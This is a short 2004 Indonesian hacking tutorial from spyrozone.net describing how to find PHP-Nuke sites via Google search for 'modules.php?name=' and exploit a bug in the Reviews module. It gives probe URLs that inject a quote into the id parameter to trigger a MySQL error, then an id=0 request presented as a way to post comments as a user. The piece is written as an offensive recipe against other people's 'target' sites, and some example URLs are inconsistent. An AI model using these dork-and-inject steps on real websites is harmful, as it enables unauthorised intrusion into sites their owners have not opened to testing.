« Back ::

« www.spyrozone.net »

[023]. BUGS PADA PHP NUKE

---------------------------------------------------------

Author  : SPYRO KiD

Contact : admin[~@~]spyrozone.net || http://spyrozone.net

CopyLEFT (c) 2004++ www.spyrozone.net All Rights Reserved

» 03/12/2004  20:33:45 WIB

---------------------------------------------------------

1. Arahkan browser anda ke rumah Paman Google:

http://www.google.com/

2. Masukkan kata kunci berikut:

modules.php?name=

3. Carilah yang memiliki struktur seperti berikut:

www.target.com/nuke1/modules.php?name=

4. Kita akan menjadi user dengan memanfaatkan bug ini.

 Reviews&rop=showcontent&id=

   Contoh:

http://www.spyrozone.net/modules.php?Reviews&rop=showcontent&id='SPYRO

   Akan keluar sebuh pesan kesalahan kurang lebih demikian:

   Warning: Supplied argument is not a valid MySQL result resource in

   /var/www/ixus/www/includes/sql_layer.php on line 339

5. Masukan kode berikut satu persatu:

   Untuk add comment: Reviews&rop=showcontent&id=0

   CONTOH untuk melihat comment :

   http://www.spyrozone.net/modules.php?name=Reviews&rop=showcontent&id=0

Klik [Post Comment] untuk mengirim komentar.

Okay.. ;)

/* ------------------------------|EOF|------------------------------ */

« www.spyrozone.net »